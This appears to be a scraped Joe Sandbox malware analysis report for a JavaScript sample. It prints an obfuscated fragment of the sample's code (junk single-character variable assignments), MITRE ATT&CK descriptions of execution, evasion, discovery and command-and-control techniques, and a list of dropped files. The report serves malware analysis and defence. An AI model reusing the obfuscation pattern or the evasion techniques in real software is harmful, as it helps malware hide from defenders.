1234	uiqbv = "L";
1235	uiqbv = "h";
1236	uiqbv = "L";
1237	uiqbv = "H";
1238	bbkdhgtpn = "v";
1239	rkehg = "b";
1240	rkehg = "B";
1241	rkehg = "E";
1242	rkehg = "U";
1243	rkehg = "x";
1244	rkehg = "i";
1245	rkehg = "q";
1246	rkehg = "y";
1247	rkehg = "O";
1248	rkehg = "b";
1249	rkehg = "b";
1250	rkehg = "t";
1251	rkehg = "Z";
1252	rkehg = "q";
1253	rkehg = "L";
1254	rkehg = "Y";
1255	rkehg = "s";
1256	rkehg = "c";
1257	rkehg = "f";
1258	rkehg = "q";
1259	rkehg = "I";
1260	rkehg = "p";
1261	rkehg = "K";
1262	rkehg = "0";
1263	euhsksv = "F";
1264	euhsksv = "n";
1265	euhsksv = "O";
1266	euhsksv = "E";
1267	ejaynicz = "I";
1268	ejaynicz = "p";
1269	ejaynicz = "U";
1270	ejaynicz = "B";
1271	ejaynicz = "g";
1272	ejaynicz = "q";
1273	ejaynicz = "W";
1274	ejaynicz = "M";
1275	ejaynicz = "d";
1276	ejaynicz = "T";
1277	ejaynicz = "1";
1278	dvtysedbg = "L";
1279	dvtysedbg = "R";
1280	dvtysedbg = "Y";
1281	dvtysedbg = "U";
1282	dvtysedbg = "r";
1283	dvtysedbg = "k";
1284	dvtysedbg = "x";
1285	dvtysedbg = "z";
1286	dvtysedbg = "J";
1287	dvtysedbg = "W";
1288	dvtysedbg = "F";
1289	dvtysedbg = "V";
1290	dvtysedbg = "P";
1291	dvtysedbg = "m";
1292	dvtysedbg = "T";
1293	dvtysedbg = "n";
1294	dvtysedbg = "N";
1295	dvtysedbg = "y";
1296	dvtysedbg = "a";
1297	dvtysedbg = "l";
1298	zheyjqw = "i";
1299	zheyjqw = "T";
1300	zheyjqw = "w";
1301	zheyjqw = "s";
1302	zheyjqw = "L";
1303	zheyjqw = "e";
1304	zheyjqw = "e";
1305	zheyjqw = "y";
1306	zheyjqw = "g";
1307	zheyjqw = "Q";
1308	zheyjqw = ".";
1309	bsytrbn = "h";
1310	bsytrbn = "c";
1311	bsytrbn = "P";
1312	bsytrbn = "c";
1313	bsytrbn = "l";
1314	bsytrbn = "Q";
1315	bsytrbn = "x";
1316	bsytrbn = "f";
1317	bsytrbn = "c";
1318	bsytrbn = "c";
1319	bsytrbn = "l";
1320	bsytrbn = "p";
1321	bsytrbn = "J";
1322	bsytrbn = "Q";
1323	bsytrbn = "N";
1324	bsytrbn = "D";
1325	bsytrbn = "S";
1326	bsytrbn = "u";
1327	bsytrbn = "Z";
1328	bsytrbn = "Y";
1329	bsytrbn = "m";
1330	bsytrbn = "x";
1331	bsytrbn = "Z";
1332	bsytrbn = "/";
1333	fyitaci = "g";
1334	fyitaci = "k";
1335	fyitaci = "l";
1336	fyitaci = "A";
1337	fyitaci = "Q";
1338	fyitaci = "K";
1339	oxjstfavj = "Z";
1340	oxjstfavj = "L";
1341	oxjstfavj = "H";
1342	oxjstfavj = "D";
1343	oxjstfavj = "O";
1344	oxjstfavj = "p";
1345	oxjstfavj = "r";
1346	oxjstfavj = "j";
1347	oxjstfavj = "s";
1348	oxjstfavj = "n";
1349	uivfycmfm ( );	uivfycmfm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7401990642713807.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e98a34e-5d6e-4554-a2e8-e879ab3e5ed0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3224

Windows Analysis Report
7401990642713807.js